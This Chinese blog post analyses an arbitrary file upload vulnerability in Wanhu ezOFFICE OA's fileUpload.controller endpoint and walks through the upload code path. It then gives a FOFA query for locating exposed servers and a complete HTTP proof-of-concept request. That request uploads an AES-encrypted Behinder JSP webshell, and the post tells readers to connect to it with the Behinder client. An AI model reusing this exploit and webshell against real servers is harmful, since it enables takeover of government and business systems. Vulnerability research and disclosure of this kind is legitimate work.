万户软件网络是业内普遍认可的智慧政务办公专家,OA系统国家行业标准编制组长单位,协同软件国家行业标准编制组长单位,22年专注协同管理领域.为您提供定制化的智慧政务一体化办公解决方案。万户OA fileUpload.controller处存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件至服务器,导致服务器失陷。
文件位置位于\WEB-INF\classes\com\whir\evo\weixin\actionsupport\FileUploadAction.class
中,成功发现了该路由为/upload/fileupload
现在开始分析fileupload
方法中的内容,首先是文件上传部分
分析:首先是设置相应的文本类型,接着就是从请求中获取modelName
参数的内容,判断modelName
参数是否为空,若为空直接就是设置文件上传的路径xxx/upload/html
中,反之就将路径设置为xxx/modelName的内容/当前日期
的目录下并且判断文件是否存在,若不存在就新建一个文件夹
接着我们分析后面内容
分析:在上述代码中,首先是实例化了一个SysSetupReader
实例,接着调用getSysSetupMap
方法,并传入参数"0"
,获取一个Map
对象。然后获取该Map
的"上传附件"所对应的值得到文件上传的类型。接着就是从前端请求中获取到文件名,然后依次遍历所有的文件名,调用getFIle方法得到文件的一些基本信息;调用getOriginalFilename
方法获取到文件原始名对其进行非空判断并将其赋值给filename
,接着就是调用createFileName
方法
该方法得到文件后缀名后随机生成一个文件名
接着就是调用saveFileFromInputStream
方法
该方法的参数
InputStream stream
:要保存文件的数据源。String path
:文件保存的目录路径。String fileName
:要保存的文件名。该方法的作用是将从 InputStream
读取的数据保存到指定路径的文件中,接着将我们File对象返回
接着就是检查文件是否成功保存,如果文件不存在,则抛出FileNotFoundException
。然后设置回显数据包括文件名、result、data、fileSize的设置,接着创建一个新的UploadFile
对象,调用setFileSize
方法设置上传文件的信息,然后就是异常处理操作,最后将result传为Json格式在响应中显示出来
fofa
app="万户网络-ezOFFICE"
poc
POST /defaultroot/upload/fileUpload.controller HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0
Content-Length: 773
--KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0
Content-Disposition: form-data; name="file"; filename="cmd.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*......tas9er*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
--KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0--
使用冰蝎连接木马 /defaultroot/upload/html/xxxxxxxxxx.jsp
该漏洞形成的原因就是在整个文件上传的过程中没有对我们所上传文件的类型、后缀名等进行任何过滤操作,导致用户可以上传任意文件进而导致攻击者对该点的利用造成任意文件上传
12 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!